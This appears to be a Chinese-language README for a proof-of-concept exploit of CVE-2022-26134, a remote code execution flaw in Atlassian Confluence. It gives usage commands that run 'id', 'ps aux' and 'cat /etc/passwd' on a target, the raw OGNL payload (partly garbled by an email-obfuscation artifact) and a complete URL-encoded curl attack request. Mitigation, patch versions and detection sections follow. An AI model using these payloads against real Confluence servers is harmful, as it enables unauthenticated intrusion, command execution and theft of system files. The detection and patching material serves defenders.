CVE-2022-26134 - OGNL 注入漏洞：

概念验证脚本，利用影响 Atlassian Confluence 7.18 及更低版本的远程代码执行漏洞。该 OGNL 注入漏洞允许未经身份验证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。

受影响版本：

所有受支持的 Confluence Server 和 Data Center 版本均受影响。
Confluence Server 和 Data Center 版本 1.3.0 至 7.18.1（不含）受影响。
该漏洞的 CVSS 评分为 10 分（满分 10 分），严重性极高。

依赖项：

Python 3.3+
可通过以下方式安装依赖项：

pip install -r requirements.txt

使用方法：

克隆仓库：

git clone https://github.com/Nwqda/CVE-2022-26134
cd CVE-2022-26134

然后你可以按如下方式运行漏洞利用，并指定你想要的命令：

python3 cve-2022-26134.py https://target.com "id"
python3 cve-2022-26134.py https://target.com "ps aux"
python3 cve-2022-26134.py https://target.com "cat /etc/passwd"

Payload：

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

使用 CURL 命令的示例：

curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"

然后，命令的结果将反映在响应头部的 X-Cmd-Response 参数中。

厂商的缓解指南：

请遵循 Atlassian 的官方建议：
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

补丁修复：

Atlassian 已针对受此 CVE 影响的产品发布了一份安全公告，你可以在此处阅读。要解决此问题，你需要升级你的 Confluence 版本。发布时建议的版本列表如下：

7.4.17
7.13.7
7.14.3
7.15.2
7.16.4
7.17.4
7.18.1

检测 - 日志文件：

Confluence 是一个 Apache Tomcat 服务器，其日志文件位于 /opt/atlassian/confluence/logs。你可以使用如 grep 等命令搜索利用 Java 运行时执行命令的 HTTP GET 请求的 payload。例如：

grep -R "/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22" 在 catalina.out 中

检测能力：

此漏洞影响所有自托管实例。如果你使用 WAF，可以阻止包含 ${ 的 URL。

YARA（由 Volexity提供）：https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar

额外阅读材料：

注意：

仅供教育目的使用。

CVE-2022-26134 meme fire

CVE-2022-26134

最受欢迎